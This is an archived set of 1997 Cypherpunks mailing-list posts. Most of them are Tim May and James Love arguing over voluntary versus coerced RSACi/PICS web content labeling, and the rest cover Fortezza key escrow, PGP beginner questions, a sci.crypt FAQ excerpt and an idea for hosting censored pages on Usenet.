Of course, for the most part they are absolutely correct.

On the other hand, how many people are actually aware of
RSACi much less the "approved news" category?

For what its worth...

Jim Burnes






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: news@sldc.ffg.com
Date: Tue, 29 Jul 1997 01:28:15 +0800
To: cypherpunks@toad.com
Subject: News from the Front (July Issue)
Message-ID: <B0000371332@www.bluesquirrel.com>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 29 Jul 1997 01:56:46 +0800
To: James Love <love@cptech.org>
Subject: "What is your strategy to avoid RSACi type systems?"
In-Reply-To: <199707260708.CAA30671@mailhub.amaranth.com>
Message-ID: <v03102802b002853c8cb5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



After reading several of James Love's posts, I think we are either just
talking at cross purposes, or that he hasn't thought carefully about the
constitutional issues. Maybe both. In any case, this'll probably be my last
response to his points.

At 7:56 AM -0700 7/28/97, James Love wrote:
>Tim May wrote:
>> It is this "crap" and "consequences" we are talking about.
>
>     This "crap" and "consequences" are what is happening before your
>eyes.  Law enforcement efforts, new legislation, complaints by church
>groups, parents -- pressure on Yahoo and other searching sites, etc.,
>being called names.

Of course. But some of this "crap" and "consequences" are what we are
fighting, as they are applications of force which make the "voluntary"
labelling standards hardly voluntary at all. If "law enfrorcement efforts"
and "new legislation" are not considered coercion, what is?

And in another post, you cited some sexual material as an example of what
you claimed was "unambiguously adult" material. Now you may think this, and
maybe even may think this, in terms of my personal views, but NAMBLA is
certain to disagree, which means the "unambiguously" part is ipso facto
false. So, again I make the point that a Board of Censors or somesuch must
get involved...I am not advocating this, just reiterating that your point
that official censorship is not needed because some materials are
"unambiguously adult" is incorrect.

I urge you to carefully think about these issues.

>
>> There is no requirement that one's writings be labelled as "adult."
>> Leastwise, I've read a lot of stuff in my life, and very rarely (if
>> ever)
>> have I seen much of it labelled as "adult" material.
>
>      Why label it then?  I won't.  I think people should resist labels
>on text.  99 percent of the concerns over web pages has to do with
>graphics..... I would suggest dealing with the most obvious and
>legitimate complains, but drawing a line where it made sense too.

I wasn't saying I planned to label my writings. I was making the point that
if "crap" and "consequences" (such as the law enforcement actions and
legislation you yourself mention above) befall those who mislabel their
sites, then surely this will not be confined to images alone. The "fisting
and pissing" stuff you cited in another message will be equally unsuitable
for children--many will claim--even if it is in the form of stories,
attempts to recruit, etc.

We have already seen this in the SurfWatch and KiddySafe filter debates,
where the inclusion of certain words is enough to get a site blocked.
(Understand that I am not arguing against KiddySafe's "rights" to do this,
only noting that words are clearly as important to some folks as images.)


>
>> >their back.  Those that didn't use the label could just put up with
>> the
>> >consequences, whatever they are.  I would expect (and hope) that the
>>  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>>
>> Such as the multiple years in prison that each of the Thomases got?
>
>     I don't know the Thomases, but did they get "multiple years in
>prison" for mislabeling?  Or for something else?

You should acquaint yourself with the Thomas case, as in "Amateur Action."
Any search engine will turn up lots of details.


>
>> (Again, just what is "mislabelling"? If I feel all children should be
>> exposed to sexual materials, or "Huckleberry Finn," whose standards am
>> I
>> supposed to use if not my own?)
>
>
>     Why would you want to label a book?  There isn't a demand for this
>in bookstores and libraries.  Why do this on the Web?

I give up. Really. You seem determined to miss nuances.

I was not making an argument for labeling books...far from it. I was making
the point that many would like to see online materials comparable to "Huck
Finn" labeled. And that this is clearly wrong.

Not wrong if folks want to truly voluntarily label a site containing "Huck
Finn" as being "unsuitable for children" or "offensive to some colored
people," or whatever floats their boat. But wrong if "crap and
consequences" befall anyone who _fails_ to warn children away or who
deliberately "mislabels" (!!) their "Huck Finn" site as being "suitable for
children" when some religious or parents group thinks otherwise.

(To forestall Jim's likely literalist question, "Why do you think "Huck
Finn" is unsuitable for children?," let me state that I don't think it is.
But many school boards and minority groups have said they think it is, and
so it provides a good example of where the voluntary self-labeling is
ambiguous. And, like I said, even the "fisting and pissing" is apparently
ambiguous to NAMBLA.)


>         I think labeling of text, in general, is a very bad idea.  I
>can imagine some cases where authors might want to
>label some text with an adult tag.  But I don't really think this is
>something that should be encouraged.  I don't think this is the hot
>button issue that graphics (and films) are.

We agree. None of us are encouraging it. At least none of us on the
Cypherpunks list, I don't think. You're missing the real point.

The vast majority of Web sites which are now being blocked by the various
Net.nanny filters are mostly of _text_ ! These are the sites discussing
teen pregnancy, birth control, homosexuality, early childhood sexual
experiences, medical advice, incest topics, and so on. Very seldom are
_images_ involved.

The notion that "voluntary self-labeling" would apply only to sites
carrying images is laughable. That you would argue that text-only sites
would not be subject to the "voluntary self-labeling" of PICS/RSAci shows
that you simply haven't thought about this much.

(The recent debate about news organzations being perhaps exempted from
self-labeling their online news is indicative of this...their online
releases are almost solely text, and "adult" images play almost no role in
their products. And yet there is active debate about whether they'll have
to label their stuff. Think about it.)



>
>> As long as ratings are completely and full uncoerced, fine. It's the
>> "crap"
>> and "consequences" you speak of that worry me. If one of the pieces of
>> crap
>> is  a $100K civil fine for mislabelling, or one of the consequences is
>> 5
>> years in jail, then it ain't a voluntary system, is it?
>

>   Well, one might see various forms of mandatory labeling.   And indeed
>one might see more and more pressure for more and more complex and
>objectional forms of labeling (labeling that seeks to provide more and
>more "information" about the content").

Ah, you admit that the "voluntary" labeling will likely become
not-so-voluntary.

>   What is your strategy to avoid RSACi type systems?  To persuade
>parents that there is no need to censor kids from graphic images of
>sexual acts?  Good luck.  Or to suggest something which addresses the
>obvious problems, and takes the steam out of the more ambitious labeling
>systems?  Or to hope that the status quo survives because it is too
>difficult to construct an alternative (the stategy that most
>antilabeling people seem to be relying upon)?

I have no "strategy" for dealing with the censorious tendencies of parents,
just as I have no "strategy" for solving problems they have with their
children watching too much television, or playing video games too much, or
hanging out with the wrong crowd.

These are problems for _them_ to solve, not for me, and not for the government.

(I can't believe I have to explain this.)

>_______________________________________________________
>James Love | Center for Study of Responsive Law
>P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
>http://www.cptech.org | love@cptech.org

It is really scary that someone with your shallow understanding of the
basic, core issues of liberty and constitutionality is apparently a
lobbyist in Washington.

But not surprising.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Love <love@cptech.org>
Date: Mon, 28 Jul 1997 23:07:51 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <199707260708.CAA30671@mailhub.amaranth.com>
Message-ID: <33DCB302.70F58811@cptech.org>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> It is this "crap" and "consequences" we are talking about.

     This "crap" and "consequences" are what is happening before your
eyes.  Law enforcement efforts, new legislation, complaints by church
groups, parents -- pressure on Yahoo and other searching sites, etc.,
being called names.


> There is no requirement that one's writings be labelled as "adult."
> Leastwise, I've read a lot of stuff in my life, and very rarely (if
> ever)
> have I seen much of it labelled as "adult" material.

      Why label it then?  I won't.  I think people should resist labels
on text.  99 percent of the concerns over web pages has to do with
graphics..... I would suggest dealing with the most obvious and
legitimate complains, but drawing a line where it made sense too. 

> >their back.  Those that didn't use the label could just put up with
> the
> >consequences, whatever they are.  I would expect (and hope) that the
>  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> 
> Such as the multiple years in prison that each of the Thomases got?

     I don't know the Thomases, but did they get "multiple years in
prison" for mislabeling?  Or for something else?

 
> (Again, just what is "mislabelling"? If I feel all children should be
> exposed to sexual materials, or "Huckleberry Finn," whose standards am
> I
> supposed to use if not my own?)

       
     Why would you want to label a book?  There isn't a demand for this
in bookstores and libraries.  Why do this on the Web?


> This means that parents cannot count on any labelling system to
> protect
> their children from finding sexual material, atheistic material, drug
> advocacy material, bestiality advocacy material, and recruitments for
> homosexuality.
> 
> (For the sake of this argument I'm avoiding inclusion of actual images
> of
> things like bestiality and the like, as these may or may not run afoul
> of
> the "obscenity" laws. Not that I support obscenity laws. But all of
> the
> other things are mostly protected under the First Amendment, and
> labelling
> is not required.)

  
         I think labeling of text, in general, is a very bad idea.  I
can imagine some cases where authors might want to 
label some text with an adult tag.  But I don't really think this is
something that should be encouraged.  I don't think this is the hot
button issue that graphics (and films) are.


> As long as ratings are completely and full uncoerced, fine. It's the
> "crap"
> and "consequences" you speak of that worry me. If one of the pieces of
> crap
> is  a $100K civil fine for mislabelling, or one of the consequences is
> 5
> years in jail, then it ain't a voluntary system, is it?



   Well, one might see various forms of mandatory labeling.   And indeed
one might see more and more pressure for more and more complex and
objectional forms of labeling (labeling that seeks to provide more and
more "information" about the content").  

   What is your strategy to avoid RSACi type systems?  To persuade
parents that there is no need to censor kids from graphic images of
sexual acts?  Good luck.  Or to suggest something which addresses the
obvious problems, and takes the steam out of the more ambitious labeling
systems?  Or to hope that the status quo survives because it is too
difficult to construct an alternative (the stategy that most
antilabeling people seem to be relying upon)?  

 
          Jamie

-- 
_______________________________________________________
James Love | Center for Study of Responsive Law
P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
http://www.cptech.org | love@cptech.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Mon, 28 Jul 1997 17:12:24 +0800
To: cypherpunks@toad.com
Subject: NSA leak magic
Message-ID: <199707280902.LAA21881@xs2.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



A million monkeys operating under the pseudonym "Ian Goldberg" typed:

> Uh-huh.  Unless the Administration has granted a secret Executive Order
> repealing the Laws of Physics for the NSA, the above statement, if true,
> would imply one of the following things:
> 
> 1. <snip>
> 2. <snip>
> 3. <snip>


4.  It takes 33 minutes to view the satellite images, wiretaps,
and TEMPEST recordings, and bribe, threaten, cajole or torture
the subject's friends and business partners, and run the 
"stupid passphrase/weak random seed" cracker.


I believe it.


Z

who is still trying to grok how the girl scouts figure in.
"You're a thought criminal!"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Love <love@cptech.org>
Date: Mon, 28 Jul 1997 23:26:40 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <199707272057.WAA03141@basement.replay.com>
Message-ID: <33DCB82F.737A3FE4@cptech.org>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
> I'm not labeling my webpage, and no dickhead is going to tell me to.

    I'm not labeling www.cptech.org, but of course, why would I want to?
However, there are lots of people who want to signal the adult nature of
thier web site, of course, judging from the "don't go here if you are't
21" type messages they put on them.  A good, simple adult tagging system
would help these guys do what they apparently already want to do, which
is to signal that the sites are inappropriate for children.  +


    Jamie
-- 
_______________________________________________________
James Love | Center for Study of Responsive Law
P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
http://www.cptech.org | love@cptech.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 29 Jul 1997 00:05:59 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <v03102808afffef9096b1@[207.167.93.63]>
Message-ID: <Pine.SUN.3.96.970728114856.11644C-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 26 Jul 1997, Tim May wrote:

> As long as ratings are completely and full uncoerced, fine. It's the "crap"
> and "consequences" you speak of that worry me. If one of the pieces of crap
> is  a $100K civil fine for mislabelling, or one of the consequences is 5
> years in jail, then it ain't a voluntary system, is it?
> 
> --Tim May

Of course it's voluntary, citizen unit Tim C. May #0845676FCXV3, it's as
voluntary as filing an 1040 form, and it's certainly as voluntary as
communist countries had voluntary work for teens who would voluntarily go
to work on farms durring their summer vacations.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Tue, 29 Jul 1997 04:11:52 +0800
To: cypherpunks@cyberpass.net
Subject: Re: CPAC, XtatiX, and the Censor-State
Message-ID: <19970728200020.5383.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



In alt.cypherpunks, Censorship Suck <FBI@Sucks.NSA> writes:

 > That's pretty bad, when there's not even any sex.

Yes.  Most of these Web pages are not even political or sexual in
nature, but cute boys anywhere on the Net these days cause the
Fundies to have Grand Mal seizures.

 > My previous suggestion was to create "virtual" WWW sites
 > (when necessary, possibly as a stop-gap measure when there
 > is a censorship attack).

I read your earlier post, and find the notion of hosting Web
sites on Usenet intriguing.  Tim has always pointed out that
Usenet already exists as a persistent uncensorable repository of
virtually everything, and that applications (eg BlackNet) needing
such a facility should simply use the existing one.

 > By virtual, I mean by posting to USENET, probably encrypted,
 > with the decryption key following a couple days later.

 > It involves considerable development for either a newsreader
 > or preprocessor, but then, the work is implied. A
 > "gathering" design is necessary.

Conceptually, seamlessly extending the Web over Usenet is not
complicated.  Each document could be posted as a single PGP
conventionally encrypted article, with some reasonable convention
for encryption keys and message ids that would enable links to be
followed. Browsers could be modified to maintain a open
connection to an NNTP server, and to fetch and decrypt articles
specified by an nntp:<message-id> link in lieu of using http.

Suppose I post my favorite banned Web pages to
alt.anonymous.messages on a weekly basis, and distribute browser
plug-ins and patches to enable Usenet to host Web content.

I forsee the following glitches.

First, as anyone who has posted a large number of articles to
Usenet knows, many servers will only get a subset of them.

Second, policy for article expiration is site-specific, and can
be made to depend on a number of parameters.  Posting once a week
may be fine for some servers, and not for others.

Third, it is only practical to employ Usenet to host static Web
content.  This rules out Web-based chat boards, and other such
politically interesting content, as well as anything that is
cgi-bin based.

Fourth, Web content on Usenet will be in an easily identified
format and trivial to filter out at local sites.

 > Because you are exactly right: the ISPs can be attacked,
 > regardless of the fault-tolerant design of the Internet.

 > Some version of the above tool WILL route around "damage"
 > attempts.

 > Interesting, that this would in part require cryptography.

 > Would the government go so far as to try and outlaw crypto
 > posts to USENET? Good luck.

Odder things have happened.

 > Someone should make a complete list of all the
 > contacts/emails involved in contacting ISPs to get them to
 > censor. There may be something to learn. (sort of a traffic
 > analysis deal)

It's the "usual suspects." We know who they are, and they are
making no attempt to keep their activities secret.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Tu <ATU5713@compuserve.com>
Date: Tue, 29 Jul 1997 01:34:37 +0800
To: Cypher Punks Mailing List <cypherpunks@toad.com>
Subject: How Does Fortezza Work?
Message-ID: <199707281314_MC2-1BC0-1B2A@compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Hi all,

I am writing an article to help people understand the technical and
practical issues surrounding the key escrow debate.  Can someone tell me
how the Fortezza chip works.

I have a 1993 document which is incomplete.  Is the session key K still
encrypted with the unit key U?  And is that whole thing encrypted, with
the serial number, with the family key F?  I'd appreciate some more
current info.  You will be credited in my article.


Alan Tu


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BRl2Dvxv5Ow=
=tDzB
-----END PGP SIGNATURE-----

Type Bits/KeyID    Date       User ID
pub  1024/E5D915E1 1997/04/27 Alan Tu <atu5713@compuserve.com>
                              Alan Tu <102534.2165@compuserve.com>

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XRzgGgFF3htGXDJNywlLNgoYi5vTMT0pbGlCzOu215Cc4mFls2w1iA==
=CM85
-----END PGP PUBLIC KEY BLOCK-----
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 29 Jul 1997 04:30:14 +0800
To: James Love <love@cptech.org>
Subject: Re: "What is your strategy to avoid RSACi type systems?"
In-Reply-To: <199707260708.CAA30671@mailhub.amaranth.com>
Message-ID: <v03102804b002ab648392@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:17 PM -0700 7/28/97, James Love wrote:

>   Tim, on the one hand, you seem to be saying that you have
>constitutional rights, which would make the government's enforcement of
>labeling systems illegal.  On the other hand, you seem to express
>concern that the government will succeed at making such labeling
>mandatory.  I'm not sure which case you believe to be true, or if you
>are still unsure how courts will rule on this issue down the road.

No contradiction. I believe many constitutionally protected things are
nevertheless violated by various laws, with the courts taking many years or
even decades, or never, to overturn these laws.

I don't believe any requirement to label one's writings, or one's other
works, will pass constitutional muster. This doesn't mean I will stand by
while PICS/RSAci systems which are drifting rapidly in the direction of
"mandatorily voluntary" (!) are being debated, even if I think the Supreme
Court will eventually overturn the law(s).

Same reason many of us opposed the CDA. And the same lack of contradiction
that it was unconstitutional.

(Your argument, applied to the CDA, would apparently be: ".. on the one
hand, you seem to be saying that you have constitutional rights, which
would make the government's enforcement of the CDA illegal.  On the other
hand, you seem to express concern that the government will succeed at
enforcing the CDA.  I'm not sure which case you believe to be true, or if
you are still unsure how courts will rule on this issue down the road." It
is possible, and often wise, to oppose legislation even if one is convinced
it is unconstitutional and will eventually be struck down by the Supreme
Court. And, of course, many severely unconstitutional laws have yet to be
struck down by the Court.)


>    I think that the cyber porn debate would be more of less ended if
>there was an agreement of the standard meta tag for adult material.

>    But I don't see this happening.  The debate is so polarized, and
>people are trying to prove so many different things, that it seems
>unlikely that there would be much of a constituency for what I am
>proposing.

At last we agree on something. There is no universally agreed upon standard.

I tried to use the Huck Finn example, because it's been a recurring and
easily understandable example. I suppose I'll have to use the "fisting and
pissing" example you yourself brought up.

Believe me, there are folks who _want_ children to see their writings and
whatnot on this topic.

Any non-mandatory labeling system will, perforce, run smack into this issue.


>    For one thing, I think there is a big difference between a simple
>rating=adult system, used on tiny number of porn sites, and the more
>ambitious RSACi or other PICS systems.  It seems to me that you think
>they are basically equivalent (trying not to put words in your mouth).

No, I have not attempted to compare the two. What I have consistently
argued is that for the ratings systems to successfully (though this is
arguable, too) shield little Suzie and Johnny from "fisting and pissing"
articles and sites, the ratings will be made mandatory. And external
standards will be imposed.

(Otherwise it's up to the personal opinion of those doing the rating, or
not. If Joe Pervert honestly believes his "Fisting and Pissing Playhouse"
_should_ be visited by nice little blonde girls, and he labels his site as
"Suitable for all nice little girls," you can see the problem.)

Note again that I am not arguing for such ratings. Far from it. Just the
opposite. I am saying it is utterly disingenuous for folks like you and
other supporters of PICS/RSAci to claim that ratings can be completely
voluntary because there will be unaninous, universal, and unambiguous
agreement on what constitutes material suitable for children.


>    Could be that this whole debate is much ado about nothing, since
>nobody wants to to use the RSACi system, and maybe the incompetence of
>those who want to be rating bureaus will delay action on this for
>years.

Expect legislative action this year or next. Even if overturned in a year
or two, it's good for reelection prospects.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Tu <ATU5713@compuserve.com>
Date: Tue, 29 Jul 1997 02:29:42 +0800
To: Cypher Punks Mailing List <cypherpunks@toad.com>
Subject: How Does Fortezza Work?
Message-ID: <199707281412_MC2-1BC1-B1A3@compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain



Please send replies to atu5713@compuserve.com

-----BEGIN PGP SIGNED MESSAGE-----

Hi all,

I am writing an article to help people understand the technical and
practical issues surrounding the key escrow debate.  Can someone tell me
how the Fortezza chip works.

I have a 1993 document which is incomplete.  Is the session key K still
encrypted with the unit key U?  And is that whole thing encrypted, with
the serial number, with the family key F?  I'd appreciate some more
current info.  You will be credited in my article.


Alan Tu


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Charset: noconv
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BRl2Dvxv5Ow=
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Type Bits/KeyID    Date       User ID
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                              Alan Tu <102534.2165@compuserve.com>

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave K-P <dkp@iname.com>
Date: Tue, 29 Jul 1997 02:28:30 +0800
To: ? the platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Subject: Re: New Crypto Application
In-Reply-To: <Pine.OSF.3.96.970728203218.23582A-100000@oberon>
Message-ID: <33DCE1A9.2C94@iname.com>
MIME-Version: 1.0
Content-Type: text/plain



? the platypus {aka David Formosa} wrote:

> On Sun, 27 Jul 1997, Guillotine wrote:
> 
> > I'm creating a new _text_ cryptography program.
> 
> If you are not useing a well know and strong cyper method I suggest you
> post details of your meathod to sci.crypt where thay will (most likely)
> pick holes in it.

	From the sci.crypt FAQ...

http://www.cis.ohio-state.edu/hypertext/faq/bngusenet/sci/crypt/top.html

2.3. How do I present a new encryption scheme in sci.crypt?

  ``I just came up with this neat method of encryption. Here's some
  ciphertext: FHDSIJOYW^&%$*#@OGBUJHKFSYUIRE. Is it strong?'' Without a
  doubt questions like this are the most annoying traffic on sci.crypt.

  If you have come up with an encryption scheme, providing some
  ciphertext from it is not adequate. Nobody has ever been impressed by
  random gibberish. Any new algorithm should be secure even if the
  opponent knows the full algorithm (including how any message key is
  distributed) and only the private key is kept secret. There are some
  systematic and unsystematic ways to take reasonably long ciphertexts
  and decrypt them even without prior knowledge of the algorithm, but
  this is a time-consuming and possibly fruitless exercise which most
  sci.crypt readers won't bother with.

  So what do you do if you have a new encryption scheme? First of all,
  find out if it's really new. Look through this FAQ for references and
  related methods. Familiarize yourself with the literature and the
  introductory textbooks.

  When you can appreciate how your cryptosystem fits into the world at
  large, try to break it yourself! You shouldn't waste the time of tens
  of thousands of readers asking a question which you could have easily
  answered on your own.

  If you really think your system is secure, and you want to get some
  reassurance from experts, you might try posting full details of your
  system, including working code and a solid theoretical explanation, to
  sci.crypt. (Keep in mind that the export of cryptography is regulated
  in some areas.)

  If you're lucky an expert might take some interest in what you posted.
  You can encourage this by offering cash rewards---for instance, noted
  cryptographer Ralph Merkle is offering $1000 to anyone who can break
  Snefru-4---but there are no guarantees. If you don't have enough
  experience, then most likely any experts who look at your system will
  be able to find a flaw. If this happens, it's your responsibility to
  consider the flaw and learn from it, rather than just add one more
  layer of complication and come back for another round.

  A different way to get your cryptosystem reviewed is to have the NSA
  look at it. A full discussion of this procedure is outside the scope
  of this FAQ.

  Among professionals, a common rule of thumb is that if you want to
  design a cryptosystem, you have to have experience as a cryptanalyst.

-- 
dkp at iname dot com * Exit the System.
4B63 E55D 1C92 68E3 8700 0EBF 5CDD 5538
--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Love <love@cptech.org>
Date: Tue, 29 Jul 1997 03:23:13 +0800
To: Tim May <tcmay@got.net>
Subject: Re: "What is your strategy to avoid RSACi type systems?"
In-Reply-To: <199707260708.CAA30671@mailhub.amaranth.com>
Message-ID: <33DCF05E.62269C50@cptech.org>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> After reading several of James Love's posts, I think we are either
> just
> talking at cross purposes, or that he hasn't thought carefully about
> the
> constitutional issues. 

   Tim, on the one hand, you seem to be saying that you have
constitutional rights, which would make the government's enforcement of
labeling systems illegal.  On the other hand, you seem to express
concern that the government will succeed at making such labeling
mandatory.  I'm not sure which case you believe to be true, or if you
are still unsure how courts will rule on this issue down the road. 


> We have already seen this in the SurfWatch and KiddySafe filter
> debates,
> where the inclusion of certain words is enough to get a site blocked.
> (Understand that I am not arguing against KiddySafe's "rights" to do
> this,
> only noting that words are clearly as important to some folks as
> images.)


     The AI programs like Surfwatch have to rely upon text, because they
aren't smart enough to read the images.  

    But more generally, the whole censorware software industry is
feeding off the inefficiency of present adult labeling systems.  You
actually need a censorware program to filter stuff that is already
voluntarily labeled by the porn sites, because the *current* voluntary
system doesn't work very well (it is not standardized enough).  


   Regarding Huck Finn or any number of other disputes where various
groups seek to force adult labels (or the more complex RSACi or Safesurf
labels) on a wider array of information products, it would seem that
these problems are going to simmer along, as they have in the past.  But
the real problem comes when the society reaches a critical mass to do
something, particularly at the national or international level, when the
Internet is concerned.  I doubt that Huck Finn is going to be the
defining issue of this debate.  


> Ah, you admit that the "voluntary" labeling will likely become
> not-so-voluntary.


         At various points, things are more or less voluntary.  I run
about 12 Internet discussion lists.  Most lists are open and
unmoderated.  I have never removed someone from one of the lists, or
established "rules" for list behavior.  At one point earlier this year,
a member of one list was acting pretty strange, and was very hostile,
trying to drive everyone off the list who he didn't approve of.  Off
list harassment, online insults, very repetitive posts, etc.  He kept
pointing out that there were no rules that would require him to act more
civil, and that he was free to do whatever he wanted on the list.  This
was true, at the time.  But after a long period of trying to deal with
this, it was becoming less true.  I was getting fed up, and ready to
make some damn rules, and boot him off the list if he didn't follow
them.  Turned out that he backed off before it came to this.  My point
is that if people who use the Internet make the occasional effort 
to be civil, to respect others, etc.... then it isn't necessary to make
very many rules.  But when you have endless commercial spamming, or make
no effort to make it easy to filter porn from k-12 classrooms, then you
may end up with more rules that you might want.  In this sense, rules
will be result of a failure to solve problems informally.

      Voluntary is also something that means different things to
different people.  I try not to litter, because I like to live in a
clean environment.   I reframe from all sorts of behavior in public
places, not only because of legal sanctions, but also to be considerate
to others who are using the same space.

    I think that the cyber porn debate would be more of less ended if
there was an agreement of the standard meta tag for adult material.

    But I don't see this happening.  The debate is so polarized, and
people are trying to prove so many different things, that it seems
unlikely that there would be much of a constituency for what I am
proposing.

    For one thing, I think there is a big difference between a simple
rating=adult system, used on tiny number of porn sites, and the more
ambitious RSACi or other PICS systems.  It seems to me that you think
they are basically equivalent (trying not to put words in your mouth).

    Could be that this whole debate is much ado about nothing, since
nobody wants to to use the RSACi system, and maybe the incompetence of
those who want to be rating bureaus will delay action on this for
years.  

    Jamie
_______________________________________________________
James Love | Center for Study of Responsive Law
P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
http://www.cptech.org | love@cptech.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stonedog@ns1.net-gate.com
Date: Tue, 29 Jul 1997 03:45:31 +0800
To: cypherpunks@Algebra.COM
Subject: Re: "What is your strategy to avoid RSACi type systems?"
In-Reply-To: <33DCF05E.62269C50@cptech.org>
Message-ID: <Pine.BSI.3.93.970728152445.22996B-100000@ns1.net-gate.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 28 Jul 1997, James Love wrote:

>    Tim, on the one hand, you seem to be saying that you have
> constitutional rights, which would make the government's enforcement of
> labeling systems illegal.  On the other hand, you seem to express
> concern that the government will succeed at making such labeling
> mandatory.  I'm not sure which case you believe to be true, or if you

The assumption that this is an "exclusive or" is incredibly naive.

-BMM

-- 
Brian Minder; <stonedog@net-gate.com>
"I've continually said that the biggest problem with secure authentication is
that secure authentication is not possible." --Robert Costner; EFGa.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris Avery <cavery@ccnet.com>
Date: Tue, 29 Jul 1997 07:03:35 +0800
To: "'cypherpunks@toad.com>
Subject: Queries from a Cyper-newbie?
Message-ID: <01BC9B6D.6CC7B860@h97-172.ccnet.com>
MIME-Version: 1.0
Content-Type: text/plain



Anybody willing to offer a bit of help to a cypher-newbie?  I'm trying to sort out a few of the basics:

(and if not answers, just a few pointers on where to go for info? ) Thnks.

1. PGP 5.0 -- good software? If not, what problems?  Why to use DSS vs/ RSA keys?  How is 5.0 different than 2.6.3i ?  Which is better?

2. Are emails encrypted using PGP 5.0 decypherable by PGP 2.6.3i (and vice versa?)  Using RSA keys? 

3. I understand certain encryption s/w cannot be legally exported, I am aware that such s/w is nevertheless being used (and built) abroad.  My queries:  Is purely domestic use being threatened by the pending legislation?  Is it already illegal to send an encrypted msg out of the US? If so, is it illegal to receive an encrypted msg from outside the US?

4. How strong is strong?  My MS Explorer has the 128 bit encryption scheme to secure domestic financial transactions (such as credit cards). How "un-encryptable" is this? I read some recent postings here re difficulty of breaking 128 bit keys -- but this had reference to stronger methods of encryption than MS Explorer uses, right? So 128 bits is hard to break (umptyump years, terrawatts, etc.)? Then why does my PGP 5.0 software offer keys that are 768, 1024, etc. up to 4096 bits in length? Are these numbers on the same scale? 

Any "strength" differences between RSA, DSS, and Diffie-Hellman? IS there some layman-understandable difference between these? 

5. Is international data traffic somehow monitored (or monitorable) to detect encrypted traffic?

Thanks for any help. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 29 Jul 1997 04:41:07 +0800
To: cypherpunks@Algebra.COM
Subject: Re: "What is your strategy to avoid RSACi type systems?"
In-Reply-To: <33DCB302.70F58811@cptech.org>
Message-ID: <v0311072bb002a4f0dfea@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:52 pm -0400 on 7/28/97, Tim May wrote:


> After reading several of James Love's posts, I think we are either just
> talking at cross purposes, or that he hasn't thought carefully about the
> constitutional issues. Maybe both. In any case, this'll probably be my last
> response to his points.

